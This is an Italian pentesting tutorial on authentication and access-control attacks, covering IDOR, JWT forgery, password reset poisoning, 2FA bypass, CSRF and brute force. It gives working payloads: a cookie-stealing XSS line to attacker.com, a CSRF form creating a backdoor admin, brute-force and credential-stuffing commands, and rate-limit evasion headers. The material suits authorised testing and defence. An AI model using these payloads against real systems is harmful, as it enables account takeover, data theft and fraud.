Auth & Access Control: Guida Completa al Pentesting

Le Injection Attacks manipolano il flusso logico. I File & Path Attacks manipolano il filesystem. Gli Auth & Access Control Attacks manipolano qualcosa di più fondamentale: chi sei e cosa puoi fare. Ogni applicazione web ha due domande da rispondere per ogni request: “sei chi dici di essere?” (autenticazione) e “hai il permesso di fare questo?” (autorizzazione). Quando una delle due risposte è sbagliata, l’attaccante entra dove non dovrebbe o fa ciò che non potrebbe.

Questa classe di vulnerabilità è la numero 1 nella OWASP Top 10 2021 (Broken Access Control al primo posto, Identification and Authentication Failures al settimo). La trovo nel 65% dei pentest web se considero tutte le varianti: IDOR nel 25%, Broken Access Control nel 20%, JWT attack nel 12%, Session vulnerabilities nel 10%, CSRF nel 10%, Password Reset flaws nell'8%, 2FA bypass nel 6%, OAuth flaws nel 5%, Brute Force nel 5%, Privilege Escalation nel 15%.

Un caso che riassume tutto: piattaforma SaaS HR, 500 aziende clienti. L’API di download buste paga usava l’ID dipendente nell’URL: /api/payslips/download?employee_id=1337. Cambiando l’ID a 1338, 1339, 1340 → buste paga di altri dipendenti, di altre aziende. Nessuna verifica che l’utente autenticato avesse diritto di vedere quei dati. Un IDOR banale che esponeva gli stipendi di 50.000 dipendenti di 500 aziende. Zero exploit — solo un numero cambiato nell’URL.

Auth & Access Control Attacks — Cosa Imparerai #

Cos’è ogni vulnerabilità di autenticazione e autorizzazione e perché domina la OWASP Top 10
Come trovarla durante un pentest (Burp Autorize, ffuf, fuzzing IDOR, JWT analysis)
Come sfruttarla con payload reali: IDOR su API, JWT algorithm none, Password Reset Poisoning, 2FA bypass, CSRF
Come chainarla per massimizzare l’impatto: da IDOR a data breach, da JWT a admin, da reset a CEO takeover
L’attack chain completa: dalla registrazione di 2 account all’account takeover di qualsiasi utente
Il playbook operativo: il workflow minuto-per-minuto organizzato per tipo di test
La checklist finale: ogni test da eseguire, dalla session analysis al privilege escalation

Auth & Access Control Attacks: Le Vulnerabilità Più Comuni #

Questa è la mappa completa delle vulnerabilità di autenticazione e autorizzazione — OWASP Top 10 #1.

Cos’è un Auth & Access Control Attack? #

Un Auth & Access Control Attack è qualsiasi attacco che sfrutta debolezze nei meccanismi di autenticazione (chi sei) o autorizzazione (cosa puoi fare) di un’applicazione. L’autenticazione verifica l’identità: username/password, token, sessione, certificato. L’autorizzazione verifica i permessi: puoi vedere questa risorsa? Puoi eseguire questa azione? Puoi accedere ai dati di questo utente?

Gli Auth & Access Control Attacks sono pericolosi? Sono la classe di vulnerabilità più impattante nel web: portano ad account takeover (prendere il controllo dell’account di qualsiasi utente), data breach (accedere ai dati di tutti gli utenti), privilege escalation (da utente normale ad admin), bypass completo dell’autenticazione (accedere senza credenziali). Trovati nel 65% dei pentest web. OWASP Top 10 #1.

La Mappa — Autenticazione vs Autorizzazione #

L’errore più comune è confondere autenticazione e autorizzazione. Sono due sistemi separati, con vulnerabilità separate:

Autenticazione (Chi sei?) #

Vulnerabilità	Cosa succede	Link
Brute Force	L’attaccante indovina la password provando migliaia di combinazioni	→
Credential Stuffing	Password rubate da altri breach riutilizzate	→
Password Reset Poisoning	L’attaccante ruba il token di reset password	→
2FA Bypass	L’attaccante aggira l’autenticazione a due fattori	→
Session Hijacking	L’attaccante ruba o forgia il cookie di sessione	→
JWT Attack	L’attaccante manipola il token JWT per impersonare altri utenti	→
OAuth Attack	L’attaccante sfrutta falle nel flusso OAuth per rubare l’accesso	→

Autorizzazione (Cosa puoi fare?) #

Vulnerabilità	Cosa succede	Link
IDOR	L’attaccante accede ai dati di altri utenti cambiando un ID	→
Broken Access Control	L’attaccante accede a funzionalità riservate (admin panel)	→
Privilege Escalation	L’attaccante si promuove da utente normale ad admin	→
CSRF	L’attaccante forza la vittima a eseguire azioni non volute	→

Discovery e Fuzzing — Trovare Le Falle #

Identificare gli Endpoint Sensibili #

bash

# Endpoint di autenticazione
/login, /signin, /auth, /api/auth/login
/register, /signup, /api/auth/register
/forgot-password, /reset-password, /api/auth/reset
/verify-email, /confirm, /activate
/api/auth/token, /oauth/authorize, /oauth/token

# Endpoint di autorizzazione
/admin, /dashboard, /panel, /manage
/api/admin/*, /api/v2/admin/*
/api/users/{id}, /api/orders/{id}, /api/files/{id}

# Feroxbuster per endpoint nascosti
feroxbuster -u https://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,json \
  --status-codes 200,301,302,403 \
  -t 50

# ffuf per endpoint admin
ffuf -u "https://target.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \
  -mc 200,301,302,403

Fuzzing IDOR #

bash

# Se trovi un endpoint con ID: /api/users/1337/profile
# Fuzz altri ID
ffuf -u "https://target.com/api/users/FUZZ/profile" \
  -w <(seq 1 10000) \
  -H "Cookie: session=YOUR_SESSION" \
  -mc 200 \
  -fs BASELINE_SIZE

# Se l'ID non è sequenziale ma UUID:
# Cerca UUID leak in:
# - Response di altri endpoint
# - HTML source (data-user-id="...")
# - JavaScript files
# - API response con lista utenti

bash

# Hydra — brute force HTTP POST login
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 16

# ffuf — brute force via ffuf (più flessibile)
ffuf -u "https://target.com/api/auth/login" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"FUZZ"}' \
  -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -mc 200 \
  -mr "token\|success\|welcome"

# Credential stuffing (email:password da breach precedenti)
ffuf -u "https://target.com/api/auth/login" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"FUZZ1","password":"FUZZ2"}' \
  -w credentials.txt:FUZZ1:FUZZ2 \
  -mode pitchfork \
  -mc 200

IDOR — Il Bug Più Comune e Più Sottovalutato #

L’IDOR (Insecure Direct Object Reference) è la vulnerabilità di autorizzazione più frequente: l’applicazione usa un identificatore controllato dall’utente (ID numerico, UUID, filename) per accedere a risorse, e non verifica che l’utente abbia il diritto di accedere a quella risorsa specifica.

bash

# L'utente autenticato vede il suo profilo:
GET /api/users/1337/profile → 200 OK (il suo profilo)

# Cambia l'ID:
GET /api/users/1338/profile → 200 OK (profilo di un ALTRO utente!)
GET /api/users/1/profile → 200 OK (profilo dell'ADMIN!)

# Varianti:
GET /api/orders/ORD-2024-1337 → il suo ordine
GET /api/orders/ORD-2024-1338 → ordine di un altro utente!

GET /api/files/download?id=5432 → il suo file
GET /api/files/download?id=5433 → file di un altro!

POST /api/users/1338/delete → cancella l'account di un altro utente!
PUT /api/users/1338/role {"role": "admin"} → promuove un altro ad admin!

IDOR Detection — Burp Suite Workflow #

text

1. Registra 2 account: UserA e UserB
2. Naviga TUTTA l'applicazione come UserA → registra in Burp
3. Cerca ogni request con ID, UUID, filename che referenzia risorse di UserA
4. Per ogni request: sostituisci l'identificatore con quello di UserB
5. Se il server risponde con i dati di UserB → IDOR confermato

Tool: Burp extension "Autorize" → automatizza il test con 2 sessioni

Output Reale IDOR #

bash

# Request come user ID 1337:
GET /api/users/1338/payslips/2026-01 HTTP/1.1
Host: target.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9...  # Sessione di user 1337

# Response 200 OK:
{
  "employee_name": "Marco Verdi",
  "employee_id": 1338,
  "month": "2026-01",
  "gross_salary": 3500.00,
  "net_salary": 2450.00,
  "tax": 850.00,
  "iban": "IT60X0542811101000000123456"
}
# → Stiamo vedendo lo stipendio di un ALTRO dipendente!

Dettaglio completo → IDOR

JWT Attack — Manipolare il Token Di Identità #

I JWT (JSON Web Token) sono il meccanismo di autenticazione più usato nelle API moderne. Un JWT è composto da tre parti: header.payload.signature. Se la signature non è verificata correttamente, l’attaccante può modificare il payload per impersonare qualsiasi utente.

Attacchi JWT Principali #

bash

# === 1. Algorithm None — Rimuovi la firma ===
# Header originale: {"alg":"HS256","typ":"JWT"}
# Modifica a: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"1337","role":"admin"}
# Firma: (vuota)
# → Il server accetta il token senza verificare la firma!

# Tool: jwt_tool
python3 jwt_tool.py TOKEN -X a    # Prova algorithm none
python3 jwt_tool.py TOKEN -X n    # Null signature

# === 2. Algorithm Confusion (RS256 → HS256) ===
# Se il server usa RS256 (asimmetrico), cambia a HS256 (simmetrico)
# Firma con la chiave PUBBLICA (che è pubblica!) come secret HMAC
# → Il server verifica con la stessa chiave pubblica → firma valida!

python3 jwt_tool.py TOKEN -X k -pk public_key.pem

# === 3. Weak Secret — Brute Force ===
# Se il JWT usa HS256 con un secret debole:
hashcat -m 16500 jwt.txt /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# Se craccato: forgi JWT arbitrari con qualsiasi payload

# john the ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# === 4. kid Injection ===
# Header: {"alg":"HS256","kid":"/dev/null"}
# Se il server legge il secret da file usando kid
# /dev/null → secret vuoto → firma con stringa vuota

# kid con SQL Injection:
# {"kid": "' UNION SELECT 'mysecret' -- "}
# → Il server usa "mysecret" come chiave → firma il JWT con "mysecret"

# === 5. JKU/X5U Injection ===
# Header: {"alg":"RS256","jku":"https://attacker.com/jwks.json"}
# Il server scarica la chiave pubblica dal TUO server
# Firma il JWT con la TUA chiave privata → firma valida!

Output Reale JWT Attack #

bash

# Token originale (utente normale):
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMzM3Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDgyMDAwMDB9.abc123

# Decodifica payload:
echo "eyJzdWIiOiIxMzM3Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDgyMDAwMDB9" | base64 -d
# {"sub":"1337","role":"user","exp":1708200000}

# Modifico: role → admin, sub → 1 (admin user)
# {"sub":"1","role":"admin","exp":1908200000}

# Se algorithm none funziona:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0." \
  "https://target.com/api/admin/users"
# 200 OK → lista di tutti gli utenti! Account takeover dell'admin!

Dettaglio completo → JWT Attack

Session Hijacking — Rubare L’Identità #

La Session è il meccanismo con cui il server “ricorda” che sei autenticato. Se l’attaccante ottiene il tuo session cookie, diventa te. Non servono username e password — il cookie è la prova di identità.

bash

# Vettori di furto sessione:

# 1. XSS → ruba il cookie
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

# 2. Network sniffing (se HTTP, no HTTPS)
# Wireshark/tcpdump sulla rete → cattura il cookie in chiaro

# 3. Session Fixation — forza un session ID noto
# L'attaccante imposta il cookie PRIMA del login della vittima
# Dopo il login, il cookie ha lo stesso valore → attaccante lo conosce

# 4. Cookie senza flag Secure/HttpOnly
# Secure mancante → cookie inviato su HTTP → intercettabile
# HttpOnly mancante → cookie accessibile da JavaScript → rubabile via XSS

bash

# In Burp Suite o curl: controlla i flag del cookie di sessione
curl -v "https://target.com/login" 2>&1 | grep -i "set-cookie"
# Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
#                                      ^^^^^^^^  ^^^^^^  ^^^^^^^^^^^^
#                                      OK        OK      OK

# Flag mancanti = vulnerabilità:
# No HttpOnly → rubabile via XSS
# No Secure → inviato su HTTP (intercettabile)
# No SameSite → vulnerabile a CSRF

Dettaglio completo → Session Hijacking

Password Reset Poisoning — Rubare il Token Di Reset #

L’applicazione genera un link di reset password e lo invia via email. Se l’applicazione usa l’Host header dalla request per generare il link, l’attaccante può forzare il link a puntare al proprio server:

bash

# Request legittima:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/json

{"email": "victim@company.com"}

# Email ricevuta dalla vittima:
# "Clicca qui per resettare la password: https://target.com/reset?token=abc123secret"

# === ATTACCO ===
POST /forgot-password HTTP/1.1
Host: attacker.com                    # Host header manipolato!
Content-Type: application/json

{"email": "victim@company.com"}

# Email ricevuta dalla vittima:
# "Clicca qui per resettare la password: https://attacker.com/reset?token=abc123secret"
#                                         ^^^^^^^^^^^^
# Il link punta al server dell'attaccante!
# La vittima clicca → attaccante cattura il token → lo usa su target.com

# Varianti header:
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Original-URL: http://attacker.com
Forwarded: host=attacker.com

Output Reale #

bash

# Sul server dell'attaccante (access log):
203.0.113.50 - - [20/Feb/2026:10:00:00] "GET /reset?token=a1b2c3d4e5f6g7h8 HTTP/1.1" 404 -
# → Token catturato!

# Uso il token su target.com:
curl -X POST "https://target.com/reset-password" \
  -d '{"token":"a1b2c3d4e5f6g7h8","new_password":"hacked123!"}'
# 200 OK → Password cambiata! Account takeover!

Dettaglio completo → Password Reset Attack

Broken Access Control — Accedere a Funzionalità Riservate #

Il Broken Access Control è quando un utente normale può accedere a funzionalità o endpoint riservati ad admin o ad altri ruoli. Non è un IDOR (accesso a dati di altri utenti dello stesso livello) — è un salto di privilegio verticale.

bash

# L'utente normale non vede il menu admin nell'interfaccia
# Ma l'endpoint admin esiste e non è protetto:

GET /admin/dashboard → 200 OK (accesso come utente normale!)
GET /api/admin/users → 200 OK (lista tutti gli utenti!)
POST /api/admin/users/1337/promote {"role":"admin"} → 200 OK!

# Tecniche di discovery:

# 1. Forced browsing — prova endpoint admin direttamente
ffuf -u "https://target.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \
  -H "Cookie: session=NORMAL_USER_SESSION" \
  -mc 200

# 2. Method switching — se GET è bloccato, prova POST, PUT, DELETE
curl -X GET "https://target.com/api/admin/users" -H "Cookie: session=user" → 403
curl -X POST "https://target.com/api/admin/users" -H "Cookie: session=user" → 200!

# 3. Path traversal nell'URL
/api/v2/user/profile → il tuo profilo
/api/v2/user/../admin/users → lista admin!
/api/v2/./admin/users → bypass path check!

# 4. Header manipulation
X-Original-URL: /admin/dashboard
X-Rewrite-URL: /admin/dashboard
# Alcuni reverse proxy usano questi header per il routing

Privilege Escalation via Mass Assignment #

bash

# L'API accetta tutti i campi JSON senza whitelist:

# Request legittima (update profilo):
PUT /api/users/me
{"name": "Mario Rossi", "email": "mario@email.com"}

# Attacco — aggiungi campo "role":
PUT /api/users/me
{"name": "Mario Rossi", "email": "mario@email.com", "role": "admin"}
# Se il server accetta "role" senza validazione → sei admin!

# Campi da provare:
"role": "admin"
"is_admin": true
"isAdmin": true
"admin": true
"privilege": "administrator"
"group": "administrators"
"type": "admin"
"verified": true
"email_verified": true

Dettaglio completo → Broken Access Control, Privilege Escalation

2FA Bypass — Aggirare il Secondo Fattore #

L’autenticazione a due fattori sembra una difesa forte. Ma nell’implementazione ci sono molteplici bypass:

bash

# 1. Direct endpoint access — salta la pagina 2FA
# Dopo il login, il server redirect a /verify-2fa
# Ma se accedi direttamente a /dashboard → funziona senza 2FA!

# 2. Response manipulation
# La response del server include {"2fa_required": true}
# Intercetta in Burp → cambia a {"2fa_required": false}

# 3. Brute force del codice OTP (4-6 cifre)
ffuf -u "https://target.com/api/verify-2fa" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=abc123" \
  -d '{"code":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -mc 200 \
  -t 100
# 1.000.000 combinazioni per 6 cifre — fattibile se non c'è rate limit

# 4. Code reuse — il codice OTP non scade dopo l'uso
# Intercetta un codice valido → usalo più volte

# 5. Backup codes leak — i codici di recupero sono prevedibili o esposti
# Controlla: /api/user/backup-codes, risposta del setup 2FA

Dettaglio completo → 2FA Bypass

CSRF — Forzare Azioni Non Volute #

Il CSRF (Cross-Site Request Forgery) forza il browser della vittima a eseguire azioni sull’applicazione target senza il suo consenso. La vittima visita una pagina dell’attaccante, il browser invia automaticamente i cookie di sessione al target, e l’azione viene eseguita come se fosse la vittima a farla.

html

<!-- L'attaccante ospita questa pagina su attacker.com -->
<!-- La vittima (admin autenticato su target.com) visita attacker.com -->

<!-- CSRF: cambia email dell'admin -->
<img src="https://target.com/api/account/update?email=attacker@evil.com" />

<!-- CSRF: crea un nuovo admin -->
<form action="https://target.com/api/admin/create" method="POST" id="csrf">
  <input type="hidden" name="username" value="backdoor_admin" />
  <input type="hidden" name="password" value="hacked123!" />
  <input type="hidden" name="role" value="admin" />
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- CSRF JSON (per API che accettano JSON) -->
<script>
fetch('https://target.com/api/account/update', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});
</script>

Test CSRF #

bash

# Verifica la presenza di protezioni CSRF:
# 1. Token CSRF nel form? (campo hidden csrf_token)
# 2. Header custom richiesto? (X-CSRF-Token)
# 3. SameSite cookie flag?
# 4. Referer/Origin check?

# Se nessuna protezione → CSRF possibile
# Se token CSRF presente → testa se è validato:
#   - Rimuovi il token → funziona? → CSRF possibile
#   - Usa un token di un altro utente → funziona? → CSRF possibile
#   - Token statico (non cambia tra request)? → CSRF possibile

Dettaglio completo → CSRF

L’OAuth è il protocollo dietro “Login con Google”, “Login con Facebook”. Se l’implementazione ha falle, l’attaccante può rubare il token di accesso o collegare il proprio account social all’account della vittima.

bash

# 1. Open Redirect nel redirect_uri
# L'authorization server redirect l'auth code all'URL specificato
# Se redirect_uri non è validato strettamente:
https://target.com/oauth/callback?code=AUTH_CODE
→ l'attaccante usa: redirect_uri=https://attacker.com/steal
→ l'auth code viene inviato al server dell'attaccante!

# 2. CSRF nell'OAuth flow
# Se manca il parametro state (anti-CSRF):
# L'attaccante forza la vittima a collegare il PROPRIO account Google
# → L'attaccante può poi fare "Login con Google" sull'account della vittima

# 3. Token leak nel Referer header
# Dopo il redirect, il token è nell'URL
# Se la pagina di callback carica risorse esterne (immagini, script)
# → Il Referer header contiene il token → inviato ai server esterni

Dettaglio completo → OAuth Attack

Detection & Evasion — Bypass Dei Controlli #

Bypass Rate Limiting (Brute Force / 2FA) #

bash

# IP rotation
X-Forwarded-For: 127.0.0.1          # Cambia IP ad ogni request
X-Real-IP: 10.0.0.1
X-Originating-IP: 192.168.1.1
X-Client-IP: 172.16.0.1
True-Client-IP: 8.8.8.8

# Account rotation — distribui i tentativi su più account
# 3 tentativi per admin, 3 per user1, 3 per user2...
# Nessun account raggiunge il limite

# Timing — rallenta i tentativi sotto la soglia di detection
# 1 tentativo ogni 5 secondi = 720/ora = sotto la maggior parte dei rate limit

# Variazione request
# Aggiungi parametri random, cambia User-Agent, cambia Accept header
# Alcuni WAF rate-limitano per "fingerprint" della request

Bypass IDOR con Encoding #

bash

# Se l'ID numerico è filtrato:
/api/users/1338 → 403

# Encoding:
/api/users/0x53A          # Hex (1338 = 0x53A)
/api/users/2472            # Offset (1338 + 1134)
/api/users/1338.json       # Aggiunta estensione
/api/users/1338/           # Trailing slash
/api/users/1338%20         # Trailing space
/api/users/1338%00         # Null byte

# Wrapping
/api/users/{"id":1338}     # JSON inline
/api/users/../users/1338   # Path traversal

Bypass Access Control #

bash

# Method switching
GET /admin → 403
POST /admin → 200!
PUT /admin → 200!

# Header override
GET /api/admin/users HTTP/1.1
X-Original-URL: /admin/users
X-Rewrite-URL: /admin/users

# Path manipulation
/admin → 403
/Admin → 200!           # Case variation
/admin/ → 200!          # Trailing slash
/admin/. → 200!         # Dot
/admin%20 → 200!        # Space
/./admin → 200!         # Dot-slash
/admin;/ → 200!         # Semicolon
/admin..;/ → 200!       # Tomcat bypass
/%2fadmin → 200!        # Encoded slash

Tool Workflow Reali #

Burp Suite — Il Setup Ideale #

text

1. Registra 3 utenti: Admin, UserA, UserB
2. Naviga TUTTA l'applicazione come Admin → Logger++
3. Extension "Autorize":
   - Inserisci il cookie di UserA come "low privilege"
   - Naviga come Admin
   - Autorize replica ogni request con il cookie di UserA
   - Se la response è uguale → Broken Access Control!
4. Extension "Auth Analyzer": alternativa a Autorize
5. Extension "JWT Editor": per manipolare JWT
6. Extension "Param Miner": per trovare parametri nascosti

jwt_tool — Workflow JWT #

bash

# Scansione completa
python3 jwt_tool.py TOKEN -M at

# Output: testa automaticamente:
# - Algorithm none
# - Null signature
# - Key confusion (RS256 → HS256)
# - kid injection
# - JKU/X5U spoofing
# - Brute force common secrets
# - Claim tampering

🏢 Enterprise Escalation #

IDOR → Data Breach Massivo #

text

IDOR su /api/users/{id}/data → accesso a tutti gli utenti
→ Script: for id in range(1, 50000): GET /api/users/{id}/data
→ 50.000 profili con PII, stipendi, contratti
→ DATA BREACH + GDPR notification

JWT None → Admin → Infrastruttura #

text

JWT algorithm none → impersona admin
→ Admin panel → API key infrastruttura
→ Cloud console → EC2, S3, RDS
→ COMPROMISSIONE INFRASTRUTTURA

Password Reset Poisoning → CEO Takeover #

text

Host header manipulation → token reset del CEO catturato
→ Password cambiata → accesso email CEO
→ Email CEO → ordini di bonifico fraudolenti (BEC)
→ FINANCIAL FRAUD

CSRF → Persistent Admin Access #

text

CSRF su create admin → backdoor admin account creato
→ Login con backdoor account
→ Accesso permanente anche dopo patch del CSRF

🔌 Variante API / Microservizi 2026 #

json

// IDOR nelle API REST
GET /api/v2/users/UUID/documents
// Cambia UUID → documenti di un altro utente

// JWT in header Authorization
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.
// Algorithm none → admin access

// Missing auth su microservizio interno
// L'API gateway autentica, ma il microservizio dietro no
GET https://internal-service:8080/admin/users
// Accessibile senza token se raggiungi il servizio direttamente (via SSRF)

// GraphQL senza authorization per query
query { users { id email password_hash } }
// Se manca l'authorization check sulla query → dump di tutti gli utenti

// Mass Assignment nelle API
PATCH /api/v2/users/me
{"name": "Mario", "role": "admin", "is_verified": true}

Auth Pentesting: Playbook Operativo (Step-by-Step) #

Fase 1 — Setup e Session Analysis (minuto 0-10) #

bash

# Registra 2 account: UserA e UserB
# Analizza il cookie/token di sessione
# Decodifica JWT se presente (jwt.io o jwt_tool)
# Verifica flag cookie (HttpOnly, Secure, SameSite)

Fase 2 — Authorization Testing (minuto 10-30) #

bash

# IDOR: testa ogni endpoint con ID di altro utente (Burp Autorize)
# BFLA: prova endpoint admin con sessione utente normale
# Mass Assignment: aggiungi "role":"admin" nei PUT/PATCH
# Method Switching: se GET→403, prova POST, PUT, DELETE

Fase 3 — Authentication Testing (minuto 30-50) #

bash

# JWT: algorithm none, weak secret (hashcat), kid injection
# Password Reset: Host header manipulation
# 2FA: accesso diretto post-2FA, brute force OTP
# Brute Force: top 100 password su account admin

Fase 4 — Session & CSRF (minuto 50-60) #

bash

# Session fixation, session dopo logout
# CSRF: rimuovi token → funziona? Token cross-user?
# OAuth: redirect_uri manipulation, state mancante

Attack Chain Reale Auth (Step-by-Step) #

Chain 1: IDOR → Data Breach Massivo #

text

1. Registra account → ottieni session token
2. Naviga API → trova /api/users/{id}/data
3. Cambia {id} → dati di altro utente (IDOR confermato)
4. Script: for id in range(1, 50000) → scraping automatico
5. 50.000 profili con PII, stipendi, contratti
→ DATA BREACH + GDPR notification obbligatoria

Chain 2: JWT Weak Secret → Admin → Cloud #

text

1. Decodifica JWT → HS256 con secret debole
2. hashcat -m 16500 → secret craccato in secondi
3. Forgia JWT con "role":"admin" → accesso admin panel
4. Admin panel → API key infrastruttura / cloud console
5. Cloud → S3 / RDS / Secrets Manager
→ COMPROMISSIONE INFRASTRUTTURA

Chain 3: Password Reset → CEO Account → BEC Fraud #

text

1. POST /forgot-password + Host: attacker.com
2. CEO riceve email con link a attacker.com → token catturato
3. Reset password CEO → accesso email
4. Email CEO → ordini di bonifico fraudolenti ai dipendenti
→ FINANCIAL FRAUD (Business Email Compromise)

Micro Playbook Reale #

Minuto 0-5 → Discovery: feroxbuster per endpoint admin/nascosti Minuto 5-15 → IDOR: testa ogni endpoint con ID di altri utenti (Autorize in Burp) Minuto 15-25 → JWT: decodifica token, testa algorithm none, brute force secret Minuto 25-35 → Access Control: forced browsing admin panel, method switching, path manipulation Minuto 35-45 → Password Reset: Host header manipulation Minuto 45-55 → CSRF: verifica token, test senza token Minuto 55-60 → Brute Force: testa top 100 password su account admin

Caso Studio Concreto #

Settore: Piattaforma SaaS HR, 500 aziende clienti, 50.000 dipendenti. Scope: Grey-box.

IDOR sulle buste paga: l’endpoint /api/payslips/download?employee_id=1337 non verificava che l’utente autenticato avesse diritto di vedere quei dati. Cambiando l’ID → buste paga di qualsiasi dipendente, di qualsiasi azienda. Script Python: iterazione da 1 a 50.000 → 50.000 buste paga con stipendi, IBAN, dati fiscali.

JWT weak secret: il token JWT usava HS256 con secret company123. Hashcat l’ha craccato in 2 secondi. Con il secret: forgiato JWT con "role":"super_admin" → accesso al pannello di gestione di tutte le 500 aziende clienti.

Password Reset Poisoning: il link di reset usava request.host. Header Host: attacker.com → il link di reset nell’email puntava al nostro server. Token catturato → password dell’admin cambiata → account takeover.

Tempo:

IDOR discovery: 3 minuti
JWT crack + admin access: 5 minuti
Password Reset Poisoning: 10 minuti
Impatto totale: 50.000 dipendenti di 500 aziende → stipendi, IBAN, contratti, valutazioni

Errori Comuni Reali #

1. Autorizzazione solo nel frontend (il pattern #1) Il menu admin è nascosto nell’interfaccia ma l’endpoint /api/admin/ risponde a tutti.

2. Verifica dell’autenticazione ma non dell’autorizzazione Il server verifica che sei loggato ma non verifica che hai il permesso di accedere a QUELLA risorsa.

3. JWT con secret debole secret, password, 123456, nome dell’azienda → craccabile in secondi.

4. Rate limiting solo sull’IP Bypassabile con header X-Forwarded-For.

5. CSRF token presente ma non validato Il form ha il campo csrf_token ma il server non lo controlla.

6. 2FA bypassabile accedendo direttamente all’endpoint post-login Il redirect a /verify-2fa è client-side ma l’endpoint /dashboard non verifica il 2FA.

Indicatori di Compromissione (IoC) #

Accesso a risorse di altri utenti (request con ID diversi dallo stesso session cookie) nei log
Login riusciti seguiti da accesso a migliaia di risorse diverse (script IDOR)
Token JWT con claim anomali (role: admin da utente normale)
Password reset request con Host header diverso dal dominio
Brute force: centinaia di tentativi di login dallo stesso IP/session
Creazione di account admin non autorizzata (CSRF exploit)

✅ Checklist Finale — Auth & Access Control #

text

IDOR
☐ Testati tutti gli endpoint con ID/UUID con sessione di un altro utente
☐ Testati endpoint GET, POST, PUT, DELETE
☐ Testati ID sequenziali, UUID, filename
☐ Burp Autorize configurato e eseguito

JWT
☐ Token decodificato (header + payload)
☐ Algorithm none testato
☐ Null signature testata
☐ Key confusion (RS256 → HS256) testata
☐ Brute force secret (hashcat/john)
☐ kid injection testata
☐ Claim tampering (role, sub) testato

SESSION
☐ Flag cookie verificati (HttpOnly, Secure, SameSite)
☐ Session fixation testata
☐ Session dopo logout → è invalidata?
☐ Session timeout → funziona?

ACCESS CONTROL
☐ Endpoint admin testati con sessione utente normale
☐ Method switching (GET→POST→PUT→DELETE)
☐ Path manipulation (/admin/, /Admin, /%2fadmin)
☐ Header override (X-Original-URL, X-Rewrite-URL)
☐ Mass Assignment (role=admin nel PUT/PATCH)

PASSWORD RESET
☐ Host header manipulation testata
☐ X-Forwarded-Host testato
☐ Token monouso? (riutilizzo dopo il primo uso)
☐ Token scadenza? (funziona dopo ore?)
☐ Token prevedibile? (sequenziale, timestamp-based)

CSRF
☐ Token CSRF presente nei form?
☐ Token validato lato server? (rimuovi → funziona?)
☐ Token per utente o globale?
☐ SameSite cookie flag presente?

2FA
☐ Accesso diretto a endpoint post-2FA testato
☐ Response manipulation testata
☐ Brute force codice OTP testato
☐ Rate limiting su 2FA verificato
☐ Backup codes prevedibili?

BRUTE FORCE
☐ Rate limiting presente?
☐ Account lockout presente?
☐ Bypass rate limit con header X-Forwarded-For
☐ Top 100 password testate su account admin
☐ Credential stuffing testato (se breach list disponibile)

Mappa del Cluster Auth & Access Control #

Articolo	Tipo	Impatto	Link
Questa guida	PILLAR	—	—
IDOR	Object reference	Data breach	→
Broken Access Control	Authorization bypass	Admin access	→
Privilege Escalation Web	Vertical escalation	Admin takeover	→
JWT Attack	Token manipulation	Impersonation	→
Session Hijacking	Session theft	Account takeover	→
CSRF	Forced action	Unauthorized actions	→
Password Reset Attack	Token theft	Account takeover	→
2FA Bypass	MFA bypass	Auth bypass	→
OAuth Attack	OAuth flow exploit	Account takeover	→
Brute Force	Credential attack	Account compromise	→

Vedi anche: Injection Attacks, File & Path Attacks, SQL Injection.

Riferimento: OWASP Top 10 2021 (A01 Broken Access Control, A07 Identification and Authentication Failures), PortSwigger Access Control labs, HackTricks Authentication Bypass. Uso esclusivo in ambienti autorizzati.

Chi accede ai dati dei tuoi utenti? Il tuo JWT usa un secret forte? Le tue API controllano i permessi? Penetration test applicativo HackIta per scoprire ogni falla di auth e access control. Per padroneggiare dall’IDOR al JWT attack: formazione 1:1.

Auth & Access Control Attacks — Cosa Imparerai #

Auth & Access Control Attacks: Le Vulnerabilità Più Comuni #

Cos’è un Auth & Access Control Attack? #

La Mappa — Autenticazione vs Autorizzazione #

Autenticazione (Chi sei?) #

Autorizzazione (Cosa puoi fare?) #

Discovery e Fuzzing — Trovare Le Falle #

Identificare gli Endpoint Sensibili #

Fuzzing IDOR #

Fuzzing Brute Force Login #

IDOR — Il Bug Più Comune e Più Sottovalutato #

IDOR Detection — Burp Suite Workflow #

Output Reale IDOR #

JWT Attack — Manipolare il Token Di Identità #

Attacchi JWT Principali #

Output Reale JWT Attack #

Session Hijacking — Rubare L’Identità #

Verifica Flag Cookie #

Password Reset Poisoning — Rubare il Token Di Reset #

Output Reale #

Broken Access Control — Accedere a Funzionalità Riservate #

Privilege Escalation via Mass Assignment #

2FA Bypass — Aggirare il Secondo Fattore #

CSRF — Forzare Azioni Non Volute #

Test CSRF #

OAuth Attack — Rubare L’Accesso Tramite Login Sociale #

Detection & Evasion — Bypass Dei Controlli #

